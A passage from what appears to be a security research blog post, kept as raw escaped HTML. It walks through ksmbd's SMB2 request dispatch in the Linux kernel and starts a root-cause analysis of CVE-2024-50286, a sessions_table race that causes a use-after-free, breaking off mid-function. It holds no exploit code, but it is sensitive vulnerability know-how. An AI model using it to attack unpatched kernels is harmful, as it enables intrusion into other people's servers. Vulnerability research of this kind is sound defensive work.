&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// ..&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kthread_run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ksmbd_conn_handler_loop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			      &lt;span class=&quot;n&quot;&gt;KSMBD_TRANS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			      &lt;span class=&quot;s&quot;&gt;&quot;ksmbd:%u&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			      &lt;span class=&quot;n&quot;&gt;ksmbd_tcp_get_port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;csin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// ..&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_conn_handler_loop&lt;/code&gt; is crucial as it handles reading, validating and processing SMB protocol messages (PDUs). In the case where there are no errors, it calls one of the more specific processing functions:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/connection.c#L395&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;default_conn_ops&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;process_fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;pr_err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Cannot handle request&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The processing function adds a SMB request to the worker thread queue:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// ksmbd_server_process_request&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ksmbd_server_process_request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;queue_ksmbd_work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This occurs inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;queue_ksmbd_work&lt;/code&gt;, which allocates the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_work&lt;/code&gt; structure that wraps the session, connection, and all SMB-related data, while also performing early initialization.&lt;/p&gt;

&lt;p&gt;In the Linux kernel, adding a work item to a workqueue requires initializing it with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;INIT_WORK()&lt;/code&gt; macro, which links the item to a callback function to be executed when processed. Here, this is performed as follows:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/server.c#L312&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;INIT_WORK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handle_ksmbd_work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;ksmbd_queue_work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We are now close to processing SMB PDU operations. The final step is for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;handle_ksmbd_work&lt;/code&gt; to extract the command number from the request&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/server.c#L213&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__process_request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and execute the associated command handler.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/server.c#L108&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__process_request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_work&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			     &lt;span class=&quot;n&quot;&gt;u16&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// ..&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cmd_val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// ..&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;cmds&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// ..&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmds&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here is the list of the procedures that are invoked:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/smb2ops.c#L171&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_NEGOTIATE_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_negotiate_request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_SESSION_SETUP_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_sess_setup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_TREE_CONNECT_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_tree_connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_TREE_DISCONNECT_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_tree_disconnect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_LOGOFF_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_session_logoff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_CREATE_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_QUERY_INFO_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_query_info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_QUERY_DIRECTORY_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_query_dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_CLOSE_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;		&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_ECHO_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;		&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_echo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_SET_INFO_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;      &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;       &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_set_info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_READ_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;		&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_WRITE_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;		&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_FLUSH_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;		&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_CANCEL_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_cancel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_LOCK_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;		&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_IOCTL_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;		&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_ioctl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_OPLOCK_BREAK_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_oplock_break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SMB2_CHANGE_NOTIFY_HE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb2_notify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After explaining how the PDU function is reached, we can move on to discussing the resulting bugs.&lt;/p&gt;
&lt;h2 id=&quot;cve-2024-50286&quot;&gt;CVE-2024-50286&lt;/h2&gt;

&lt;p&gt;The vulnerability stems from improper synchronization in the management of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sessions_table&lt;/code&gt; in ksmbd. Specifically, the code lacks a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sessions_table_lock&lt;/code&gt; to protect concurrent access during both &lt;strong&gt;session expiration&lt;/strong&gt; and &lt;strong&gt;session registration&lt;/strong&gt;. This issue introduces a race condition, where multiple threads can access and modify the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sessions_table&lt;/code&gt; simultaneously, leading to a Use-After-Free (UAF) in cache &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc-512&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sessions_table&lt;/code&gt; is implemented as a hash table and it stores all active SMB sessions for a connection, using session identifier (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sess-&amp;gt;id&lt;/code&gt;) as the key.&lt;/p&gt;

&lt;p&gt;During the session registration, the following flow happens:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;A new session is created for the connection.&lt;/li&gt;
  &lt;li&gt;Before registering the session, the worker thread calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_expire_session&lt;/code&gt; to remove expired sessions to avoids stale sessions consuming resources.&lt;/li&gt;
  &lt;li&gt;Once cleanup is complete, the new session is added to the connection’s session list.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Operations on this table, such as adding (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hash_add&lt;/code&gt;) and removing sessions (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hash_del&lt;/code&gt;), lack proper synchronization, creating a race condition.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/smb2pdu.c#L1663&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;smb2_sess_setup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_work&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// .. &lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;ksmbd_conn_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SessionId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_smb2_session_create&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [1]&lt;/span&gt;
